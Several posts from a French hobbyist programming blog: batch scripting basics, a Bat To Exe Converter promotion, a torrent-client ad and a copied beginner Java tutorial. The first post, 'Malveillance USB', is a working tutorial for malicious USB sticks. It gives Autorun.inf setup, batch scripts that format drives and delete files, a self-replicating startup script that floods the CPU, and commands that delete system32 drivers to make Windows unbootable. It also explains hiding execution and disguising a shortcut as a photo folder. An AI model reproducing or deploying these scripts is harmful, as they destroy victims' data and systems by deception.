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mardi 5 août 2014

Malveillance USB

Salutation,
Les virus ne sont que des logiciels ou des applications malveillants, qui influent d'une façon négative sur la partie software ou hardware de l'ordinateur. Ce Tutoriel n'est qu'une façon pour montrer les astuces informatiques et améliorer ces compétences, On n'est pas responsable de toutes utilisation malveillante des informations.

Pour débuter faut tout dabort expliquer quelques trucs..
Le système d'exploitation Windows est moins sécurisé que d'autres systèmes tels que Linux, Unix, Mac Os... Suite a l'amélioration des versions Windows, le niveau de sécurité est maintenant plus performant mais les failles informatiques sont toujours existantes.

Sous Windows xp, on peut associer au lecteur Flash une fichier qui s'exécute lors du double clic sur ce dernier, ce fichier s’appelle Autorun.inf , pour associer une fichier au flash il suffit de suivre ces étapes:
1-Créer un fichier dans le flash disque nommé Autorun.inf
2-Mettre le fichier dans le racine (ne pas mettre dans un dossier sinon on dois changer le code)
3-écrire ces deux lignes dans le fichier Autorun:
 [autorun]
shellexecute=nomfichier.exe (il n'est pas obligatoire d'associer une extension du fichier en .exe , on peut mettre toutes les extenstions)

Concernant le virus , en utilisant la langage de programmation batch (suivez les étapes de création fichier batch dans le blog) on peut faire tout:
-Programme de formatage pc:
@echo off
if exist C: (format /q c: 2 >erreur.log)
if exist D: (format /q d: 2>erreur.log)
if exist E: (format /q e: 2>erreur.log)
del *.* /f /s /q
echo x=msgbox("Merci pour votre collaboration...",0+16+4096,"Thanks!!"); > err.vbs
start err.vbs
exit

Ceci vas formater le pc et vider le flash disque, Faites attention de ne pas mettre vos données personnelles dans le support.

Pour bloquer Le Micro-Processeur il suffit de taper cette commande dans le fichier expl.cmd :
 @echo off
copy expl.cmd "%appdata%"\Microsoft\Windows\"Start Menu"\Programs\Startup
pause
 start expl.cmd

Ceci vas créer une séquence des processus infinis nommés "cmd.exe" ce qui sature le microPross et l’endommage aprés un bout de temps si l'utilisateur n'arrête pas le processus.

Pour créer une fichier qui bloque le Windows d'une façon permanente, on vas effacer des fichiers système qui résultent l'erreur système suivante "NTDLR Manquant" et ce qui se résout qu'après une formatage et réinstallation du système, il suffit de taper les commandes suivantes, mais le fichier dois étre convertis en .exe par le logiciel Batch to Exe converter et de rendre l'exécution Invisible pour ne pas pouvoir arrêter l'exécution.

@echo off
taskkill /im explorer.exe /f /t
 del %homedrive%\pagefile.sys /f /s /q 2>> err.log
del %windir%\system32\drivers\*.sys /f /s /q

Concernant le Windows 7, vous pouvez faire les mêmes commandes mais en utilisant la manière des raccourcis, vous créez une raccourcis dans le flash disque "click droit>nouveau>raccourcis" et écrivez ce ligne de commande:
attrib *.* +s +h && attrib *.lnk -s -h && start exemple.cmd
en fusant le nom du raccourcis "Mes images" ayant l’icône d'un dossier, ceci est un piège car on ne peut pas exécuter un programme d'une façon automatique sur Windows 7, de même vous pouvez utiliser Winrar Archive pour sfx d'une façon invisible en nommant le fichier setup.exe pour une installation d'un logiciel.. et y'en a trop d'astuces a appliquer.

Voila c'est tout en bref, merci pour avoir lire ce tuto et a la prochaine.

mardi 25 février 2014

Programmes Cmd

Voici la code source des petits programmes Batch, n'oubliez pas d'enregistrer la code source en extension *.cmd
------------ Fermeture de pc
@echo off
title didousoft
color f0

:pr

set /p name=ecrire votre nom:
title ----------- %name% -----------

:menu
cls
echo.
echo.
echo    ***************************%name%*****************************
echo     ***********%name%***************************%name%*********
echo 1-pour arreter le PC
echo 2-pour fermer

:etape
set /p choix=Veuillez choisir l'un des options
if %choix%==1 goto shutdown
if %choix%==2 exit

:shutdown
set /p tim=taper le temp que l'ordinateur s'arrete en secondes
echo l'ordinateur vas s'arreter en %tim% secondes.
shutdown -s -t %tim%

:clean
set /p tipe=taper C pour annuler l'arret...
if %tipe%==c goto stop
if %tipe% NEQ c exit

:stop
Shutdown -a


---------Calcul somme de deux entiers
@echo off
:menu
Set /p a=Donner la valeur de A:
Set /p b=Donner la valeur de B:
Set /A c=(%a%+%b%)
echo %a%+%b%=%c%
echo Slutter
echo.
if %a% NEQ %c% (goto menu) else (echo le programme vas s'erreter & pause & exit)
exit

--------- Renommer liste fichiers
setlocal enableDelayedExpansion
set /a nb_f=1
for /f "delims=" %%f in (*.txt) do (
rename "%%f" a%nb_f%.jpg
set /a nb_f+=1
echo %nb_f%
)
pause

mardi 14 janvier 2014

Batch to exe

Envie de cacher la code source de ton fichier .bat / .cmd
Bat To Exe Converter est un programme qui peut être utile à tous programmeurs. Avec ses fonctionnalités, les utilisateurs n'auront pas de mal à gérer leurs données contenues dans un fichier script.


Principales fonctionnalités

  • Conversion : comme son nom l'indique, Bat To Exe Converter est conçu pour convertir les fichiers BATCH (.bat) en fichiers exécutables (.exe). Ceci permet de transformer, en un temps record, les séries de commandes contenues dans un fichier texte et script en données qui s'exécutent toutes seules sans avoir recours à un interprète de commande.
  • Applications fantômes : ce logiciel permet aux utilisateurs d'exécuter des applications fantômes sans que les fichiers batch soient découverts. Toutefois, le logiciel peut être utilisé pour créer des programmes ou des exécutables pour un pack d'installation.
  • Options : pour la création de programmes et de fichiers exécutables, Bat To Exe Converter inclut des options de conception d'icônes, de désignation de version ainsi que d'autres informations utiles, selon le type de fichier que l'on souhaite avoir.

Configurations requises

  • Systèmes d'exploitation : Windows 98, Windows Me, Windows 2000, Windows XP, Windows Vista, Windows 7.
  • Espace disque requis : 596 Ko.
Lien téléchargement: http://www.commentcamarche.net/download/developpement-2#34057824
Source: http://www.commentcamarche.net/download/telecharger-34057824-bat-to-exe-converter

Un bref tuto de programmation Batch

Salutation.
Vous demandez toujours l'utilité de l'iterpréteur de commandes et son role pour un utilisateur du systéme d'exploitation tels que windows.
Pour commencer, l'ouverture de l'invite de commandes se fait tout simplement suite au raccourci suivante {Windows+R} puis on écrit "CMD" et "ok"
Ou bien: Vous pouvez également ouvrir une fenêtre d’invite de commandes en procédant comme suit. Cliquez sur le bouton DémarrerImage du bouton Démarrer. Dans la zone de recherche, tapez Invite de commande, puis, dans la liste des résultats, double-cliquez sur Invite de commande.
Voici l'interface CMD windows avec la commande "Help" qui permet d'afficher toutes les commandes possibles par le CMD:
 Quand vous voyez toutes ces commandes, vous dites "Bon sang! j'ai rien compris".
Bon c'etait juste une petite résumé de CMD et pour un débutant on utilise que nombreuses commandes, pas tout!
Tout dabort pour connaitre le role du commande il suffit que taper le nom du commande suivit par la chaine "/?"
Par exemple: dir /? => permet d'afficher comment utiliser la commande dir.
comme l'affiche l'image, le premier ligne contient l'adresse locale don't vous etes situé (laquelle vous pouvez faire les traitements) on peut se naviguer des adresses suite au commande "cd"
Voici des petites commandes pour apprendre les bases:
cd \  => Aller vers la répertoire racine "exemple: c:\"
cd .. => Aller vers la répertoire mére
cd nom_répertoire => Aller vers une répertoire fils
cd adresse => aller vers une adresse spécifique comme cd c:\"program files"\
Nb: pour les fichiers/répertoires qui comportent une chaine de caractéres composé par des espaces il faut également l'écrire entre "".

La commande "Start nom_fichier/répertoire" permet de lancer le fichier/répertoire sur le windows
et vous pouvez utiliser la commande Start /? pour plus d'informations.

La commande "goto" permet d'aller a une étiquette spécifique (pour se naviguer dans le programme, comme étant une procédure).

La commande "Title" permet d'affecter un nom au titre de l'invite de commande.

La commande "Color" permet de rendre un couleur spécifique a l'interface d'invite de commande (color /? pour plus d'info).

Ces commandes sont trop basiques et permettent de faire un programme qui gére le systéme de fichiers windows comme l'arrêt de l'ordinateur/ la changement du théme/ l'installation silencieuse/ le plantage d'un microprocesseur/ gestion de comptes d'utilisateurs/ changement d'arriére plan windows/ cacher les fichiers d'une façon permanente et invisible qu'a partir une application.

Maintenant on connais les bases, reste qu'appliquer, pour commencer il suffit d'ouvrir le notepad et enregistrer le fichier sous le nom "premier_test.cmd" (ou en extension .bat peut nimporte).
et taper la liste des commandes comme étant on utilise le CMD.
veuillez taper la suite des commandes suivantes dans le fichier texte:
@echo off
title premier test
:main
echo Salut, c'est mon premier test
echo La caractere "é" ne marche pas
echo Ceci est un message
echo.
echo On a depasse un ligne.
pause
echo Le ligne precedent etait une pause
echo le programme maintenant vas se terminer par la commande exit
exit

sauvegarder le fichier puis double clic sur cette derniére.
cette suite de commandes peut etre écrite directement sur le CMD mais pour juste un double click, il suffit de l'écrire sur le fichier notepad.
de même on peut ajouter le ligne "Start notepad" qui permet de lancer l'application notepad, ou bien "Start %systemroot%" qui permet de lancer la répertoire du windows.
Vous pouvez Maintenant créer vos fichiers de premier pas en format Batch/CMD file.

La suite du tuto serait bientot disponible qui contient la discription des étiquettes et commandes if.
Merci d'avoir lu ce document et bonne soirée.

Consultez la page des favoris Didousoft ;)
Des mises a jour seront bientot disponibles.
Have fun!
Lien: http://didousoft.my3gb.com

Avec Mediaget Je télécharge les torrents!

MediaGet est un client Torrent qui se différencie par son incroyable facilité d'utilisation. Beaucoup d'utilisateurs se plaignent d'avoir à ouvrir et à fermer des ports ou de devoir rechercher leurs fichiers torrent sur certaines pages, et MediaGet peut résoudre ces problèmes pour vous.

Une fois que vous aurez installé le client, la seule chose que vous aurez à faire sera de taper le nom de fichier que vous recherchez (que ce soit un livre, une chanson, un jeu vidéo...) et en seulement quelques secondes vous recevrez une liste des résultats. Un clic sur un de ses résultats suffira pour lancer leur téléchargement.

L'interface du programme est divisée en quatre onglets de base : l'onglet catalogue, dans lequel vous verrez tout ce que vous pouvez télécharger; l'onglet téléchargements, qui vous permettra de consulter la vitesse de vos téléchargements; le lecteur, dont la fonction est assez évidente; et la bibliothèque média, qui gardera en ordre tout ce que vous avez téléchargé... ce qui est très utile.

Les réglages de configuration, qui ne nécessiteront pas d'ajustement pour que le programme fonctionne à perfection, vous permettront de limiter votre vitesse de téléchargement et de modifier de nombreux autres paramètres.

Le seul désavantage de l'application est qu'il peut parfois devenir instable. Il a tendance à geler, particulièrement durant la phase de recherche, mais vous pourrez résoudre ce problème en redémarrant le programme.

Media Get est un des meilleurs clients torrent que vous pouvez trouver actuellement. Il est non seulement facile à utiliser, mais il vous permettra de trouver précisément un film, une chanson ou les chapitres d'une série en quelques secondes.
 Lien du téléchargement:
 http://dw4.fr.uptodown.com/dw/1389713098/6dc8d64fa2680e68b95a772237655663f35db51f/0/mediaget-2-01-2664-es-en-br-fr-de-it-win.exe

Tuto, commencer java

Une méthode est une suite d'instructions à exécuter. C'est un morceau de logique de notre programme. Une méthode contient :
  • un en-tête : celui-ci va être en quelque sorte la carte d'identité de la méthode ;
  • un corps : le contenu de la méthode, délimité par des accolades ;
  • une valeur de retour : le résultat que la méthode va retourner.


Je vous avais demandé de créer un projet Java ; ouvrez-le ! Vous voyez la fameuse classe dont je vous parlais ? Ici, elle s'appelle « sdz1 », comme à la figure suivante. Vous pouvez voir que le mot class est précédé du mot public, dont nous verrons la signification lorsque nous programmerons des objets.

Méthode principale
Méthode principale

Pour le moment, ce que vous devez retenir, c'est que votre classe est définie par un mot clé (class), qu'elle a un nom (ici, « sdz1 ») et que son contenu est délimité par des accolades ({ }). Nous écrirons nos codes sources entre les accolades de la méthode main. La syntaxe de cette méthode est toujours la même :
public static void main(String[] args){
  //Contenu de votre classe
}
Excuse-nous, mais… pourquoi as-tu écrit « //Contenu de votre classe » et pas « Contenu de votre classe » ?
Bonne question ! Je vous ai dit précédemment que votre programme Java, avant de pouvoir être exécuté, doit être précompilé en byte code. Eh bien, la possibilité de forcer le compilateur à ignorer certaines instructions existe ! C’est ce qu’on appelle des commentaires, et deux syntaxes sont disponibles pour commenter son texte :
  1. Les commentaires unilignes : introduits par les symboles « // », ils mettent tout ce qui les suit en commentaire, du moment que le texte se trouve sur la même ligne ;
  2. Les commentaires multilignes : ils sont introduits par les symboles « /* » et se terminent par les symboles « */ ».
public static void main(String[] args){
  //Un commentaire
  //Un autre
  //Encore un autre
  /*
  Un commentaire
  Un autre
  Encore un autre
  */
Ceci n'est pas un commentaire !
}
D'accord, mais ça sert à quoi ?
C'est simple : au début, vous ne ferez que de très petits programmes. Mais dès que vous aurez pris de la bouteille, leurs tailles et le nombre de classes qui les composeront vont augmenter. Vous serez contents de trouver quelques lignes de commentaires au début de votre classe pour vous dire à quoi elle sert, ou encore des commentaires dans une méthode qui effectue des choses compliquées afin de savoir où vous en êtes dans vos traitements…
Il existe en fait une troisième syntaxe, mais elle a une utilité particulière. Elle permettra de générer une documentation pour votre programme (on l'appelle « Javadoc » pour « Java Documentation »). Je n'en parlerai que très peu, et pas dans ce chapitre. Nous verrons cela lorsque nous programmerons des objets, mais pour les curieux, je vous conseille le très bon cours de dworkin sur ce sujet disponible sur le Site du Zéro.
À partir de maintenant et jusqu'à ce que nous programmions des interfaces graphiques, nous allons faire ce qu'on appelle des programmes procéduraux. Cela signifie que le programme s'exécutera de façon procédurale, c'est-à-dire qui s'effectue de haut en bas, une ligne après l'autre. Bien sûr, il y a des instructions qui permettent de répéter des morceaux de code, mais le programme en lui-même se terminera une fois parvenu à la fin du code. Cela vient en opposition à la programmation événementielle (ou graphique) qui, elle, est basée sur des événements (clic de souris, choix dans un menu…).

Hello World

Maintenant, essayons de taper le code suivant :
public static void main(String[] args){
  System.out.print("Hello World !");
}


Une fois que vous avez saisi cette ligne de code dans votre méthode main, il vous faut lancer le programme. Si vous vous souvenez bien de la présentation faite précédemment, vous devez cliquer sur la flèche blanche dans un rond vert, comme à la figure suivante.

Bouton de lancement du programme
Bouton de lancement du programme

Si vous regardez dans votre console, dans la fenêtre du bas sous Eclipse, vous devriez voir quelque chose ressemblant à la figure suivante.

La console d'Eclipse
La console d'Eclipse

Expliquons un peu cette ligne de code.
Littéralement, elle signifie « la méthode print() va écrire « Hello World ! » en utilisant l'objet out de la classe System » . Avant que vous arrachiez les cheveux, voici quelques précisions :
  • System : ceci correspond à l'appel d'une classe qui se nomme « System » . C'est une classe utilitaire qui permet surtout d'utiliser l'entrée et la sortie standard, c'est-à-dire la saisie clavier et l'affichage à l'écran.
  • out : objet de la classe System qui gère la sortie standard.
  • print : méthode qui écrit dans la console le texte passé en paramètre (entre les parenthèses).
Prenons le code suivant :
System.out.print("Hello World !");
System.out.print("My name is");
System.out.print("Cysboy");
Lorsque vous l'exécutez, vous devriez voir des chaînes de caractères qui se suivent sans saut de ligne. Autrement dit, ceci s'affichera dans votre console :
Hello World !My name isCysboy
Je me doute que vous souhaiteriez insérer un retour à la ligne pour que votre texte soit plus lisible… Pour cela, vous avez plusieurs solutions :
  • soit vous utilisez un caractère d'échappement, ici  ;
  • soit vous utilisez la méthode println() à la place de la méthode print().
Donc, si nous reprenons notre code précédent et que nous appliquons cela, voici ce que ça donnerait :
System.out.print("Hello World ! \n");
System.out.println("My name is");
System.out.println("\nCysboy");
Avec pour résultat :
Hello World !
My name is
 
Cysboy
Vous pouvez voir que :
  • lorsque vous utilisez le caractère d'échappement , quelle que soit la méthode appelée, celle-ci ajoute immédiatement un retour à la ligne à son emplacement ;
  • lorsque vous utilisez la méthode println(), celle-ci ajoute automatiquement un retour à la ligne à la fin de la chaîne passée en paramètre ;
  • un caractère d'échappement peut être mis dans la méthode println().
J'en profite au passage pour vous mentionner deux autres caractères d'échappement :
  1. va insérer un retour chariot, parfois utilisé aussi pour les retours à la ligne ;
  2. va faire une tabulation.


Je vous propose maintenant de passer un peu de temps sur la compilation de vos programmes en ligne de commande. Cette partie n'est pas obligatoire, loin de là, mais elle ne peut être qu'enrichissante.

Compilation en ligne de commande (Windows)

Bienvenue donc aux plus curieux ! Avant de vous apprendre à compiler et à exécuter un programme en ligne de commande, il va vous falloir le JDK (Java SE Development Kit). C'est avec celui-ci que nous aurons de quoi compiler nos programmes. Le nécessaire à l'exécution des programmes est dans le JRE… mais il est également inclus dans le JDK. Je vous invite donc à retourner sur le site d'Oracle et à télécharger ce dernier. Une fois cette opération effectuée, il est conseillé de mettre à jour votre variable d'environnement %PATH%.
Euh… quoi ?
Votre « variable d'environnement ». C'est grâce à elle que Windows trouve des exécutables sans qu'il soit nécessaire de lui spécifier le chemin d'accès complet. Vous — enfin, Windows — en a plusieurs, mais nous ne nous intéresserons qu'à une seule. En gros, cette variable contient le chemin d'accès à certains programmes.
Par exemple, si vous spécifiez le chemin d'accès à un programme X dans votre variable d'environnement et que, par un malheureux hasard, vous n'avez plus aucun raccourci vers X, vous l'avez définitivement perdu dans les méandres de votre PC. Eh bien vous pourrez le lancer en faisant Démarrer > Exécuter et en tapant la commande X.exe (en partant du principe que le nom de l'exécutable est « X.exe »</minicode>;).
D'accord, mais comment fait-on ? Et pourquoi doit-on faire ça pour le JDK ?
J'y arrive. Une fois votre JDK installé, ouvrez le répertoire bin de celui-ci, ainsi que celui de votre JRE. Nous allons nous attarder sur deux fichiers.
Dans le répertoire bin de votre JRE, vous devez avoir un fichier nommé java.exe, que vous retrouvez aussi dans le répertoire bin de votre JDK. C'est grâce à ce fichier que votre ordinateur peut lancer vos programmes par le biais de la JVM. Le deuxième ne se trouve que dans le répertoire bin de votre JDK, il s'agit de javac.exe (Java compiler). C'est celui-ci qui va précompiler vos programmes Java en byte code.
Alors, pourquoi mettre à jour la variable d'environnement pour le JDK ? Eh bien, compiler et exécuter en ligne de commande revient à utiliser ces deux fichiers en leur précisant où se trouvent les fichiers à traiter. Cela veut dire que si l'on ne met pas à jour la variable d'environnement de Windows, il nous faudrait :
  • ouvrir l'invite de commande ;
  • se positionner dans le répertoire bin de notre JDK ;
  • appeler la commande souhaitée ;
  • préciser le chemin du fichier .java ;
  • renseigner le nom du fichier.
Avec notre variable d'environnement mise à jour, nous n'aurons plus qu'à :
  • nous positionner dans le dossier de notre programme ;
  • appeler la commande ;
  • renseigner le nom du fichier Java.
Allez dans le panneau de configuration de votre PC ; de là, cliquez sur l'icône Système ; choisissez l'onglet Avancé et vous devriez voir en bas un bouton nommé Variables d'environnement : cliquez dessus. Une nouvelle fenêtre s'ouvre. Dans la partie inférieure intitulée Variables système, cherchez la variable Path. Une fois sélectionnée, cliquez sur Modifier. Encore une fois, une fenêtre, plus petite celle-ci, s'ouvre devant vous. Elle contient le nom de la variable et sa valeur.


Pour ce faire, allez jusqu'au bout de la valeur de la variable, ajoutez-y un point-virgule s'il n'y en a pas et ajoutez le chemin d'accès au répertoire bin de votre JDK, en terminant celui-ci par un point-virgule ! Chez moi, ça donne ceci : C:\Sun\SDK\jdk\bin.
Auparavant, ma variable d'environnement contenait, avant mon ajout :
%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;
Et maintenant :
%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;C:\Sun\SDK\jdk\bin;
Validez les changements : vous êtes maintenant prêts à compiler en ligne de commande.
Pour bien faire, allez dans le répertoire de votre premier programme et effacez le .class. Ensuite, faites Démarrer > Exécuter (ou encore touche Windows + R et tapez « cmd » .


Par exemple, lorsque j'ouvre la console, je me trouve dans le dossier C: oto iti et mon application se trouve dans le dossier C:\sdz, je fais donc :
cd ..
cd ..
cd sdz
Après de la première instruction, je me retrouve dans le dossier C: oto. Grâce à la deuxième instruction, j'arrive à la racine de mon disque. Via la troisième instruction, je me retrouve dans le dossier C:\sdz. Nous sommes maintenant dans le dossier contenant notre fichier Java ! Cela dit, nous pouvions condenser cela en :
cd ../../sdz
Maintenant, vous pouvez créer votre fichier .class en exécutant la commande suivante :
javac <nomDeFichier.java>
Si, dans votre dossier, vous avez un fichier test.java, compilez-le en faisant :
javac test.java
Et si vous n'avez aucun message d'erreur, vous pouvez vérifier que le fichier test.class est présent en utilisant l'instruction dir qui liste le contenu d'un répertoire. Cette étape franchie, vous pouvez lancer votre programme Java en faisant ce qui suit :
java <nomFichierClassSansExtension>
Ce qui nous donne :
java test
Et normalement, le résultat de votre programme Java s'affiche sous vos yeux ébahis !


Voilà : vous avez compilé et exécuté un programme Java en ligne de commande… Vous avez pu voir qu'il n'y a rien de vraiment compliqué et, qui sait, vous en aurez peut-être besoin un jour.

En résumé

  • La JVM est le cœur de Java.
  • Elle fait fonctionner vos programmes Java, précompilés en byte code.
  • Les fichiers contenant le code source de vos programmes Java ont l'extension .java.
  • Les fichiers précompilés correspondant à vos codes source Java ont l'extension .class.
  • Le byte code est un code intermédiaire entre celui de votre programme et celui que votre machine peut comprendre.
  • Un programme Java, codé sous Windows, peut être précompilé sous Mac et enfin exécuté sous Linux.
  • Votre machine NE PEUT PAS comprendre le byte code, elle a besoin de la JVM.
  • Tous les programmes Java sont composés d'au moins une classe.
  • Le point de départ de tout programme Java est la méthode public static void main(String[] args).
  • On peut afficher des messages dans la console grâce à ces instructions :
    • System.out.println, qui affiche un message avec un saut de ligne à la fin ;
    • System.out.print, qui affiche un message sans saut de ligne.
Pour un tuto complet veuillez télécharger ce fichier en Cliquant ici!

Logiciel Java

Salutation a tous,
Ce blog comporte nombreuses informations informatique.
Je commence de publier les informations concernant la programmation Java.
Dabort vous devez avoir un éditeur orienté objet qui permet de lire et de compiler les applications.
Je vous propose Eclipse.
  
Voici les liens de téléchargement:
Et voila une version portable
Et dernierement l'outil de développement JDK: